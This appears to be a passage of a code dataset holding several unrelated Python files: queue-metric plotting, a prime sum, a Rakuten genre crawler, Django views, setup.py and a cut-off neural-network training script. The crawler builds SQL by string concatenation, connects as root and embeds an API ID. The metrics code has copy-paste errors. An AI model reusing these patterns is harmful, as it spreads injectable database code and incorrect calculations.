marker=\"p\", label =\"Chain Indexing\")\n axes[1, 1].set_title(\"Average Waiting Time\")\n axes[1, 1].tick_params(rotation=45)\n axes[1, 1].set_ylabel(\"Normalized Amplitude\")\n axes[1, 1].grid(axis='x', color='#D3D3D3')\n\n plt.ylabel(\"Normalized Amplitude\")\n #plt.vlines(range(0,10), ymin=-1, ymax=1, colors='gray', linestyles='dashed')\n\n # Adjust the spacing between subplots\n fig.subplots_adjust(hspace=0.3, wspace=0.3)\n\n plt.savefig(\"compa.png\", dpi=600)\n\n # function to show the plot\n plt.show()\n \n \n from sklearn.metrics import mean_squared_error\n from math import sqrt\n from collections import OrderedDict\n\n original_abandon = QUEUE_ABANDON_RATE_ORIGINAL[0]\n original_sr = QUEUE_SERVICE_RATE_ORIGINAL[0]\n original_st = QUEUE_SERVICE_TIME_ORIGINAL[0]\n original_wt = QUEUE_WAITING_TIME_ORIGINAL[0]\n \n algo = {\"BESTA\":abs(QUEUE_ABANDON_RATE_BESTA[-1]-original_abandon)}\n mse = {\"BESTA\":mean_squared_error(QUEUE_ABANDON_RATE_BESTA,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_BESTA))}\n rmse = {\"BESTA\":sqrt(mean_squared_error(QUEUE_ABANDON_RATE_BESTA,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_BESTA)))}\n\n for k in methods:\n if k == \"perron_frobenius\":\n algo[\"Perron Frobenius\"]=abs(QUEUE_ABANDON_RATE_M1[-1]-original_abandon)\n mse[\"Perron Frobenius\"]= mean_squared_error(QUEUE_ABANDON_RATE_M1,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_M1))\n rmse[\"Perron Frobenius\"]= sqrt(mean_squared_error(QUEUE_ABANDON_RATE_M1,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_M1)))\n elif k == \"gerschgorin\":\n algo[\"Gerschgorin\"]=abs(QUEUE_ABANDON_RATE_M2[-1]-original_abandon)\n mse[\"Gerschgorin\"]= mean_squared_error(QUEUE_ABANDON_RATE_M2,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_M2))\n rmse[\"Gerschgorin\"]= sqrt(mean_squared_error(QUEUE_ABANDON_RATE_M2,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_M2)))\n elif k == \"partial_sum\":\n algo[\"Partial Sum\"]=abs(QUEUE_ABANDON_RATE_M3[-1]-original_abandon)\n mse[\"Partial Sum\"]= mean_squared_error(QUEUE_ABANDON_RATE_M3,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_M3))\n rmse[\"Partial Sum\"]= sqrt(mean_squared_error(QUEUE_ABANDON_RATE_M3,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_M3)))\n elif k == \"page_rank\":\n algo[\"Page Rank\"]=abs(QUEUE_ABANDON_RATE_M4[-1]-original_abandon)\n mse[\"Page Rank\"]= mean_squared_error(QUEUE_ABANDON_RATE_M4,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_M4))\n rmse[\"Page Rank\"]= sqrt(mean_squared_error(QUEUE_ABANDON_RATE_M4,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_M4)))\n elif k == \"chain_indexing\":\n algo[\"Chain Indexing\"]=abs(QUEUE_ABANDON_RATE_M5[-1]-original_abandon)\n mse[\"Chain Indexing\"]= mean_squared_error(QUEUE_ABANDON_RATE_M5,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_M5))\n rmse[\"Chain Indexing\"]= sqrt(mean_squared_error(QUEUE_ABANDON_RATE_M5,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_ABANDON_RATE_M5)))\n else:\n pass\n \n sorted_dict1 = OrderedDict(sorted(algo.items(), key=lambda x: x[1]))\n # sorted_dict2 = OrderedDict(sorted(mse.items(), key=lambda x: x[1]))\n # sorted_dict3 = OrderedDict(sorted(rmse.items(), key=lambda x: x[1]))\n print(\"Abandon Rate: \",sorted_dict1,\"\\n\")\n # print(\"Abandon Rate MSE: \",sorted_dict2,\"\\n\")\n # print(\"Abandon Rate RMSE: \",sorted_dict3,\"\\n\")\n \n algo = {\"BESTA\":abs(QUEUE_SERVICE_RATE_BESTA[-1]-original_sr)}\n mse = {\"BESTA\":mean_squared_error(QUEUE_SERVICE_RATE_BESTA,QUEUE_SERVICE_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_BESTA))}\n rmse = {\"BESTA\":sqrt(mean_squared_error(QUEUE_SERVICE_RATE_BESTA,QUEUE_ABANDON_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_BESTA)))}\n for k in methods:\n if k == \"perron_frobenius\":\n algo[\"Perron Frobenius\"]=abs(QUEUE_SERVICE_RATE_M1[-1]-original_sr)\n mse[\"Perron Frobenius\"]= mean_squared_error(QUEUE_SERVICE_RATE_M1,QUEUE_SERVICE_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_M1))\n rmse[\"Perron Frobenius\"]= sqrt(mean_squared_error(QUEUE_SERVICE_RATE_M1,QUEUE_SERVICE_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_M1)))\n elif k == \"gerschgorin\":\n algo[\"Gerschgorin\"]=abs(QUEUE_SERVICE_RATE_M2[-1]-original_sr)\n mse[\"Gerschgorin\"]= mean_squared_error(QUEUE_SERVICE_RATE_M2,QUEUE_SERVICE_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_M2))\n rmse[\"Gerschgorin\"]= sqrt(mean_squared_error(QUEUE_SERVICE_RATE_M2,QUEUE_SERVICE_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_M2)))\n elif k == \"partial_sum\":\n algo[\"Partial Sum\"]=abs(QUEUE_SERVICE_RATE_M3[-1]-original_sr)\n mse[\"Partial Sum\"]= mean_squared_error(QUEUE_SERVICE_RATE_M3,QUEUE_SERVICE_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_M3))\n rmse[\"Partial Sum\"]= sqrt(mean_squared_error(QUEUE_SERVICE_RATE_M3,QUEUE_SERVICE_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_M3)))\n elif k == \"page_rank\":\n algo[\"Page Rank\"]=abs(QUEUE_SERVICE_RATE_M4[-1]-original_sr)\n mse[\"Page Rank\"]= mean_squared_error(QUEUE_SERVICE_RATE_M4,QUEUE_SERVICE_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_M4))\n rmse[\"Page Rank\"]= sqrt(mean_squared_error(QUEUE_SERVICE_RATE_M4,QUEUE_SERVICE_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_M4)))\n elif k == \"chain_indexing\":\n algo[\"Chain Indexing\"]=abs(QUEUE_SERVICE_RATE_M5[-1]-original_sr)\n mse[\"Chain Indexing\"]= mean_squared_error(QUEUE_SERVICE_RATE_M5,QUEUE_SERVICE_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_M5))\n rmse[\"Chain Indexing\"]= sqrt(mean_squared_error(QUEUE_SERVICE_RATE_M5,QUEUE_SERVICE_RATE_ORIGINAL*len(QUEUE_SERVICE_RATE_M5)))\n else:\n pass\n \n sorted_dict1 = OrderedDict(sorted(algo.items(), key=lambda x: x[1]))\n # sorted_dict2 = OrderedDict(sorted(mse.items(), key=lambda x: x[1]))\n # sorted_dict3 = OrderedDict(sorted(rmse.items(), key=lambda x: x[1]))\n print(\"Service Rate: \",sorted_dict1,\"\\n\")\n # print(\"Service Rate MSE: \",sorted_dict2,\"\\n\")\n # print(\"Service Rate RMSE: \",sorted_dict3,\"\\n\")\n\n algo = {\"BESTA\":abs(QUEUE_SERVICE_TIME_BESTA[-1]-original_st)}\n mse[\"BESTA\"]= mean_squared_error(QUEUE_SERVICE_TIME_BESTA,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_BESTA))\n rmse[\"BESTA\"]= sqrt(mean_squared_error(QUEUE_SERVICE_TIME_M5,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_BESTA)))\n \n for k in methods:\n if k == \"perron_frobenius\":\n algo[\"Perron Frobenius\"]=abs(QUEUE_SERVICE_TIME_M1[-1]-original_st)\n mse[\"Perron Frobenius\"]= mean_squared_error(QUEUE_SERVICE_TIME_M1,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_M1))\n rmse[\"Perron Frobenius\"]= sqrt(mean_squared_error(QUEUE_SERVICE_TIME_M1,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_M1)))\n elif k == \"gerschgorin\":\n algo[\"Gerschgorin\"]=abs(QUEUE_SERVICE_TIME_M2[-1]-original_st)\n mse[\"Gerschgorin\"]= mean_squared_error(QUEUE_SERVICE_TIME_M2,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_M2))\n rmse[\"Gerschgorin\"]= sqrt(mean_squared_error(QUEUE_SERVICE_TIME_M2,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_M2)))\n elif k == \"partial_sum\":\n algo[\"Partial Sum\"]=abs(QUEUE_SERVICE_TIME_M3[-1]-original_st)\n mse[\"Partial Sum\"]= mean_squared_error(QUEUE_SERVICE_TIME_M3,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_M3))\n rmse[\"Partial Sum\"]= sqrt(mean_squared_error(QUEUE_SERVICE_TIME_M3,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_M3)))\n elif k == \"page_rank\":\n algo[\"Page Rank\"]=abs(QUEUE_SERVICE_TIME_M4[-1]-original_st)\n mse[\"Page Rank\"]= mean_squared_error(QUEUE_SERVICE_TIME_M4,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_M4))\n rmse[\"Page Rank\"]= sqrt(mean_squared_error(QUEUE_SERVICE_TIME_M4,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_M4)))\n elif k == \"chain_indexing\":\n algo[\"Chain Indexing\"]=abs(QUEUE_SERVICE_TIME_M5[-1]-original_st)\n mse[\"Chain Indexing\"]= mean_squared_error(QUEUE_SERVICE_TIME_M5,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_M5))\n rmse[\"Chain Indexing\"]= sqrt(mean_squared_error(QUEUE_SERVICE_TIME_M5,QUEUE_SERVICE_TIME_ORIGINAL*len(QUEUE_SERVICE_TIME_M5)))\n else:\n pass\n\n sorted_dict1 = OrderedDict(sorted(algo.items(), key=lambda x: x[1]))\n # sorted_dict2 = OrderedDict(sorted(mse.items(), key=lambda x: x[1]))\n # sorted_dict3 = OrderedDict(sorted(rmse.items(), key=lambda x: x[1]))\n print(\"Service Time: \",sorted_dict1,\"\\n\")\n # print(\"Service Time MSE: \",sorted_dict2,\"\\n\")\n # print(\"Service Time RMSE: \",sorted_dict3,\"\\n\")\n \n algo = {\"BESTA\":abs(QUEUE_WAITING_TIME_BESTA[-1]-original_wt)}\n mse[\"BESTA\"]= mean_squared_error(QUEUE_WAITING_TIME_BESTA,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_BESTA))\n rmse[\"BESTA\"]= sqrt(mean_squared_error(QUEUE_WAITING_TIME_BESTA,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_BESTA)))\n for k in methods:\n if k == \"perron_frobenius\":\n algo[\"Perron Frobenius\"]=abs(QUEUE_WAITING_TIME_M1[-1]-original_wt)\n mse[\"Perron Frobenius\"]= mean_squared_error(QUEUE_WAITING_TIME_M1,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_M1))\n rmse[\"Perron Frobenius\"]= sqrt(mean_squared_error(QUEUE_WAITING_TIME_M1,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_M1)))\n elif k == \"gerschgorin\":\n algo[\"Gerschgorin\"]=abs(QUEUE_WAITING_TIME_M2[-1]-original_wt)\n mse[\"Gerschgorin\"]= mean_squared_error(QUEUE_WAITING_TIME_M2,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_M2))\n rmse[\"Gerschgorin\"]= sqrt(mean_squared_error(QUEUE_WAITING_TIME_M2,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_M2)))\n elif k == \"partial_sum\":\n algo[\"Partial Sum\"]=abs(QUEUE_WAITING_TIME_M3[-1]-original_wt)\n mse[\"Partial Sum\"]= mean_squared_error(QUEUE_WAITING_TIME_M3,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_M3))\n rmse[\"Partial Sum\"]= sqrt(mean_squared_error(QUEUE_WAITING_TIME_M3,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_M3)))\n elif k == \"page_rank\":\n algo[\"Page Rank\"]=abs(QUEUE_WAITING_TIME_M4[-1]-original_wt)\n mse[\"Page Rank\"]= mean_squared_error(QUEUE_WAITING_TIME_M4,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_M4))\n rmse[\"Page Rank\"]= sqrt(mean_squared_error(QUEUE_WAITING_TIME_M4,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_M4)))\n elif k == \"chain_indexing\":\n algo[\"Chain Indexing\"]=abs(QUEUE_WAITING_TIME_M5[-1]-original_wt)\n mse[\"Chain Indexing\"]= mean_squared_error(QUEUE_WAITING_TIME_M5,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_M5))\n rmse[\"Chain Indexing\"]= sqrt(mean_squared_error(QUEUE_WAITING_TIME_M5,QUEUE_WAITING_TIME_ORIGINAL*len(QUEUE_WAITING_TIME_M5)))\n else:\n pass\n\n sorted_dict1 = OrderedDict(sorted(algo.items(), key=lambda x: x[1]))\n # sorted_dict2 = OrderedDict(sorted(mse.items(), key=lambda x: x[1]))\n # sorted_dict3 = OrderedDict(sorted(rmse.items(), key=lambda x: x[1]))\n print(\"Waiting Time: \",sorted_dict1,\"\\n\")\n # print(\"Waiting Time MSE: \",sorted_dict2,\"\\n\")\n # print(\"Waiting Time RMSE: \",sorted_dict3,\"\\n\")","sub_path":"Scripts_for_paper/fig10.py","file_name":"fig10.py","file_ext":"py","file_size_in_byte":47991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"250414245","text":"import math\n\nMAX_NUM = 2000000\n\n\ndef find_primes(limit):\n\n primes = [2]\n num = 1\n\n while num < limit:\n\n num += 2\n is_prime = True\n\n for prime in primes:\n if prime <= math.sqrt(num): # composite numbers has prime factors <= to its square root\n if num % prime == 0:\n is_prime = False\n break\n else:\n is_prime = True\n break\n\n if is_prime:\n primes.append(num)\n\n return primes\n\n\ndef main():\n print(sum(find_primes(MAX_NUM)))\n\n\nif __name__ == '__main__':\n main()","sub_path":"Problem_10.py","file_name":"Problem_10.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"385722846","text":"# -*- coding: utf-8 -*-\nfrom xml.etree.ElementTree import *\nfrom urllib.request import urlopen\nfrom urllib.parse import urlparse\nimport socket\nimport pymysql\n\nbase_url_head = 'https://app.rakuten.co.jp/services/api/IchibaGenre/Search/20140222?format=xml&genreId='\nbase_url_bottom = '&applicationId=1080941275985996402'\n\n#第一階層の配列を作成\nfirst_categories_array = [['510901','日本酒・焼酎','1','0'],['510915','ビール・洋酒','1','0']]\n\n#第二階層の配列を作成\nsecond_categories_array = []\n\nfor category in first_categories_array:\n\turl = base_url_head + (category[0])\t+ base_url_bottom\t\t\t\n\tparent_genreId = category[0]\n\n\txmlfile = urlopen(url)\n\telements = fromstring(xmlfile.read())\n\t\n\t\n\tfor elem in elements.findall('.//children/child'):\n\t\tcategory_array = []\t\n\t\n\t\tcategory_array.append(elem.find('genreId').text)\t\t\n\t\tcategory_array.append(elem.find('genreName').text)\t\t\n\t\tcategory_array.append(elem.find('genreLevel').text)\t\t\n\t\tcategory_array.append(parent_genreId)\t\t\n\n\t\tsecond_categories_array.append(category_array)\n\n\n#第二階層から第三階層を作成\nthird_categories_array = []\n\nfor category in second_categories_array:\n\turl = base_url_head + (category[0])\t+ base_url_bottom\t\t\t\n\tparent_genreId = category[0]\n\n\txmlfile = urlopen(url)\n\telements = fromstring(xmlfile.read())\n\t\n\t\n\tfor elem in elements.findall('.//children/child'):\n\t\tcategory_array = []\t\n\t\n\t\tcategory_array.append(elem.find('genreId').text)\t\t\n\t\tcategory_array.append(elem.find('genreName').text)\t\t\n\t\tcategory_array.append(elem.find('genreLevel').text)\t\t\n\t\tcategory_array.append(parent_genreId)\t\t\n\n\t\tthird_categories_array.append(category_array)\n\n#第三階層から第四階層を作成\nfourth_categories_array = []\n \nfor category in third_categories_array:\n\turl = base_url_head + (category[0])\t+ base_url_bottom\t\t\t\n\tparent_genreId = category[0]\n\n\txmlfile = urlopen(url)\n\telements = fromstring(xmlfile.read())\n\t\n\t\n\tfor elem in elements.findall('.//children/child'):\n\t\tcategory_array = []\t\n\t\n\t\tcategory_array.append(elem.find('genreId').text)\t\t\n\t\tcategory_array.append(elem.find('genreName').text)\t\t\n\t\tcategory_array.append(elem.find('genreLevel').text)\t\t\n\t\tcategory_array.append(parent_genreId)\t\t\n\n\t\tfourth_categories_array.append(category_array)\n\n#第4階層から第5階層を作成\nfifth_categories_array = []\n \nfor category in fourth_categories_array:\n\turl = base_url_head + (category[0])\t+ base_url_bottom\t\t\t\n\tparent_genreId = category[0]\n\n\txmlfile = urlopen(url)\n\telements = fromstring(xmlfile.read())\n\t\n\t\n\tfor elem in elements.findall('.//children/child'):\n\t\tcategory_array = []\t\n\t\n\t\tcategory_array.append(elem.find('genreId').text)\t\t\n\t\tcategory_array.append(elem.find('genreName').text)\t\t\n\t\tcategory_array.append(elem.find('genreLevel').text)\t\t\n\t\tcategory_array.append(parent_genreId)\t\t\n\n\t\tfifth_categories_array.append(category_array)\n\n\n#第5階層から第6階層を作成\nsixth_categories_array = []\n \nfor category in fifth_categories_array:\n\turl = base_url_head + (category[0])\t+ base_url_bottom\t\t\t\n\tparent_genreId = category[0]\n\n\txmlfile = urlopen(url)\n\telements = fromstring(xmlfile.read())\n\t\n\t\n\tfor elem in elements.findall('.//children/child'):\n\t\tcategory_array = []\t\n\t\n\t\tcategory_array.append(elem.find('genreId').text)\t\t\n\t\tcategory_array.append(elem.find('genreName').text)\t\t\n\t\tcategory_array.append(elem.find('genreLevel').text)\t\t\n\t\tcategory_array.append(parent_genreId)\t\t\n\n\t\tsixth_categories_array.append(category_array)\n\n\n#全てのカテゴリの配列を作成\ncategories = []\nfor f in first_categories_array:\n\tcategories.append(f)\nfor f in second_categories_array:\n\tcategories.append(f)\nfor f in third_categories_array:\n\tcategories.append(f)\nfor f in fourth_categories_array:\n\tcategories.append(f)\nfor f in fifth_categories_array:\n\tcategories.append(f)\nfor f in sixth_categories_array:\n\tcategories.append(f)\n\nprint (categories)\t\n\n# insert\nconnector = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='', db='rakuten',charset='utf8', use_unicode='true')\ncursor = connector.cursor()\n\nbase_sql = 'insert into OrgCategory (id, name, level, parent_id) values ('\n\nfor i in categories:\n\tsql = base_sql + i[0] + ', \"' + i[1] + '\", ' + i[2] + ', ' + i[3] +');'\n\tcursor.execute(sql)\n\tconnector.commit()\t\n\tprint (sql)\t\t\t\n\t\n","sub_path":"crawler/rekutenCategoryCrawler.py","file_name":"rekutenCategoryCrawler.py","file_ext":"py","file_size_in_byte":4259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"594876110","text":"from fashion_stacked import FashionAI\nimport datetime\nimport os\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"2\"\n\nif __name__ == '__main__':\n fashionAI = FashionAI()\n\n i = datetime.datetime.now()\n output_dir = \"outputs/yrd{:02}{:02}_final.csv\".format(i.month, i.day)\n fashionAI.test(model_dir='model/ai0528_stack/fashionai.ckpt',\n data_dir='test_set',\n output_dir=output_dir)\n","sub_path":"test_script.py","file_name":"test_script.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"268797","text":"\"\"\"\n###########\nAPI Browser\n###########\n\nAn API browser for Django Rest Framework.\n\n\"\"\"\n\nimport os\nfrom setuptools import setup, find_packages\n\n\nPROJECT_DIR = os.path.dirname(os.path.abspath(__file__))\nVERSION_FILE_PATH = os.path.join(PROJECT_DIR, 'VERSION')\nREADME_FILE_PATH = os.path.join(PROJECT_DIR, 'README.rst')\n\n\ndef read(path):\n if not os.path.isfile(path):\n raise EnvironmentError(\"File not found: %s\" % path)\n with open(path) as f:\n return f.read().strip()\n\n\nif __name__ == '__main__':\n setup(\n name='api-browser',\n version=read(VERSION_FILE_PATH),\n description=read(README_FILE_PATH),\n author='Nick Frezynski',\n author_email='nick@frez.me',\n url='https://bitbucket.org/nickfrez/api-browser',\n license='MIT',\n # packages=find_packages(),\n packages=[\n 'api_browser',\n ],\n include_package_data=True,\n install_requires=[],\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Environment :: Web Environment',\n 'Framework :: Django',\n 'Framework :: Django :: 1.9',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Operating System :: MacOS :: MacOS X',\n 'Operating System :: OS Independent',\n 'Operating System :: POSIX :: Linux',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Topic :: Software Development :: Documentation',\n ],\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"26786118","text":"from django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django_registration.backends.activation.views import RegistrationView as BaseRegistrationView\n\nfrom secretpaw import settings\nfrom secretpawapp.forms import PawgateForm, SettingsForm, CharacterForm, CharacterRemoveForm, GiftForm\nfrom secretpawapp.models import Profile, Tag, CharacterNSFWTypes, Character, Gift\n\n\nclass RegistrationView(BaseRegistrationView):\n def create_inactive_user(self, form):\n \"\"\"\n Create the inactive user account and send an email containing\n activation instructions.\n\n \"\"\"\n new_user = form.save()\n new_user.save()\n\n self.send_activation_email(new_user)\n\n return new_user\n\n\ndef pawgate(request):\n # redirect to '/' if already passed\n try:\n pawgate = request.session['pawgate']\n if pawgate == hash(settings.PAWGATE_SECRET + settings.SECRET_KEY):\n return HttpResponseRedirect('/')\n except KeyError:\n pass\n\n if request.method == 'POST':\n form = PawgateForm(request.POST)\n if form.is_valid():\n request.session['pawgate'] = hash(settings.PAWGATE_SECRET + settings.SECRET_KEY)\n return HttpResponseRedirect('/')\n else:\n form = PawgateForm()\n\n return render(request, 'secretpawapp/pawgate.html', {'form': form})\n\n\n@login_required\ndef profile(request):\n profile_obj = Profile.objects\\\n .select_related('user')\\\n .prefetch_related('tags')\\\n .get(user_id=request.user.id)\n\n form_settings = _form_settings(request, profile_obj)\n form_character = _form_character(request, profile_obj)\n _form_character_remove(request)\n form_gift = _form_gift(request)\n\n tags = Tag.objects.all()\n nsfw_types = CharacterNSFWTypes.objects.all()\n characters = Character.objects.filter(owner=profile_obj)\n gift_from_you = Gift.objects.get(giver=request.user.id)\n gift_for_you = Gift.objects.get(recipient=request.user.id)\n\n return render(request, 'secretpawapp/profile.html', {\n 'form_settings': form_settings,\n 'form_character': form_character,\n 'form_gift': form_gift,\n 'profile': profile_obj,\n 'characters': characters,\n 'gift_from_you': gift_from_you,\n 'gift_for_you': gift_for_you,\n 'tags': tags,\n 'nsfw_types': nsfw_types\n })\n\n\ndef _form_settings(request, profile_obj):\n if request.method == 'POST' and \"settings\" in request.POST:\n form_settings = SettingsForm(request.POST, request.FILES)\n if form_settings.is_valid():\n\n image = form_settings.cleaned_data['avatar']\n if image:\n profile_obj.avatar = image\n profile_obj.description = form_settings.cleaned_data['description']\n profile_obj.status = form_settings.cleaned_data['status']\n profile_obj.tags.set(request.POST.getlist('tags'))\n profile_obj.save()\n\n else:\n form_settings = SettingsForm()\n\n return form_settings\n\n\ndef _form_character(request, profile_obj):\n if request.method == 'POST' and \"character\" in request.POST:\n form_character = CharacterForm(request.POST, request.FILES)\n if form_character.is_valid():\n character_id = request.POST['character_id']\n\n if character_id:\n character_obj = Character.objects\\\n .prefetch_related('nsfw')\\\n .get(id=character_id)\n # TODO: what if character not found ?\n else:\n character_obj = Character()\n\n image = form_character.cleaned_data['picture']\n if image:\n character_obj.picture = image\n\n character_obj.owner = profile_obj\n character_obj.picture_author = form_character.cleaned_data['picture_author']\n character_obj.name = form_character.cleaned_data['name']\n character_obj.age = form_character.cleaned_data['age']\n character_obj.race = form_character.cleaned_data['race']\n character_obj.sex = form_character.cleaned_data['sex']\n character_obj.tag = form_character.cleaned_data['tag']\n character_obj.description = form_character.cleaned_data['description']\n character_obj.hints = form_character.cleaned_data['hints']\n character_obj.save()\n character_obj.nsfw.set(request.POST.getlist('nsfw[]'))\n character_obj.save()\n else:\n print(form_character.errors)\n\n else:\n form_character = CharacterForm()\n\n return form_character\n\n\ndef _form_character_remove(request):\n if request.method == 'POST' and \"character_delete\" in request.POST:\n form_character_remove = CharacterRemoveForm(request.POST)\n if form_character_remove.is_valid():\n character_id = request.POST['character_id']\n\n if character_id:\n Character.objects\\\n .get(id=character_id)\\\n .delete()\n # TODO: what if character not found ?\n\n\ndef _form_gift(request):\n if request.method == 'POST' and \"gift\" in request.POST:\n form_gift = GiftForm(request.POST, request.FILES)\n if form_gift.is_valid():\n gift = Gift.objects\\\n .get(giver=request.user.id)\n\n image = form_gift.cleaned_data['picture']\n if image:\n gift.picture = image\n gift.wishes = form_gift.cleaned_data['wishes']\n gift.save()\n\n else:\n form_gift = CharacterForm()\n\n return form_gift\n\n","sub_path":"secretpawapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"275908246","text":"\"\"\"Script to train a BiLSTM-CNN-CRF model from UKPLab repository\n\nTo run the script, clone the repository\nhttps://github.com/UKPLab/emnlp2017-bilstm-cnn-crf.git\nunder the name ukplab_nets and add it the path to PYTHONPATH.\n\"\"\"\n\nimport argparse\nimport logging\nimport numpy\nimport os\nimport pandas\nimport sys\nparent = os.path.abspath('..')\nsys.path.insert(0, parent)\nimport utils\nfrom models.selfatt_arg_bilstm import SelfAttArgBiLSTM\nfrom sklearn import metrics\n\n\nloggingLevel = logging.INFO\nlogger = logging.getLogger()\nlogger.setLevel(loggingLevel)\n\nch = logging.StreamHandler(sys.stdout)\nch.setLevel(loggingLevel)\nformatter = logging.Formatter('%(message)s')\nch.setFormatter(formatter)\nlogger.addHandler(ch)\n\n\ndef read_args():\n parser = argparse.ArgumentParser(\n description='Training a bi-directional RNN')\n # Classifier parameters\n parser.add_argument('--num_units', nargs='+', default=[100, 100], type=int,\n help='Number of hidden units in RNN')\n parser.add_argument('--dropout', nargs='+', default=[0.5, 0.5], type=float,\n help='Dropout ratio for every layer')\n parser.add_argument('--char_embedding', type=str, default=None,\n choices=['None', 'lstm', 'cnn'],\n help='Type of character embedding. Options are: None, '\n 'lstm or cnn. LSTM embeddings are from '\n 'Lample et al., 2016, CNN embeddings from '\n 'Ma and Hovy, 2016')\n parser.add_argument('--char_embedding_size', type=int, default=30,\n help='Size of the character embedding. Use 0 '\n 'for no embedding')\n # Training parameters\n parser.add_argument('--batch_size', type=int, default=32,\n help='Number of sentences in each batch')\n parser.add_argument('--patience', type=int, default=5,\n help='Number of iterations of lower results before '\n 'early stopping.')\n # TODO add options for char embedding sizes\n # TODO add options for clipvalue and clipnorm\n\n # Pipeline parametres\n parser.add_argument('--dataset', type=str,\n help='Path to the pickled file with the dataset')\n parser.add_argument('--output_dirpath', type=str,\n help='Path to store the performance scores for dev '\n 'and test datasets')\n parser.add_argument('--epochs', type=int, default=100,\n help='Number of epochs to train the classifier')\n parser.add_argument('--classifier', type=str, default='CRF',\n help='Classifier type (last layer). Options are '\n 'CRF or Softmax.')\n parser.add_argument('--experiment_name', type=str, default=None,\n help='Name of the experiment to store the results')\n parser.add_argument('--n_heads', type=int,\n help='Number of attention heads.')\n parser.add_argument('--attention_size', type=int,\n help='Size of the attention layer\\'s output.')\n parser.add_argument('--target_column', type=str, default='arg_component',\n help='Name of the column to use as label.')\n args = parser.parse_args()\n\n assert len(args.num_units) == len(args.dropout)\n return args\n\n\ndef load_dataset(filename):\n pickled_object = utils.pickle_from_file(filename)\n return (pickled_object['embeddings'], pickled_object['mappings'],\n pickled_object['data'], pickled_object['datasets'])\n\n\ndef main():\n \"\"\"Training pipeline\"\"\"\n args = read_args()\n\n # Read dataset\n embeddings, mappings, data, datasets = load_dataset(args.dataset)\n\n classifier_params = {\n 'classifier': args.classifier, 'LSTM-Size': args.num_units,\n 'dropout': args.dropout, 'charEmbeddingsSize': args.char_embedding_size,\n 'charEmbeddings': args.char_embedding, 'miniBatchSize': args.batch_size,\n 'earlyStopping': args.patience,\n 'n_heads': args.n_heads, 'attention_size': 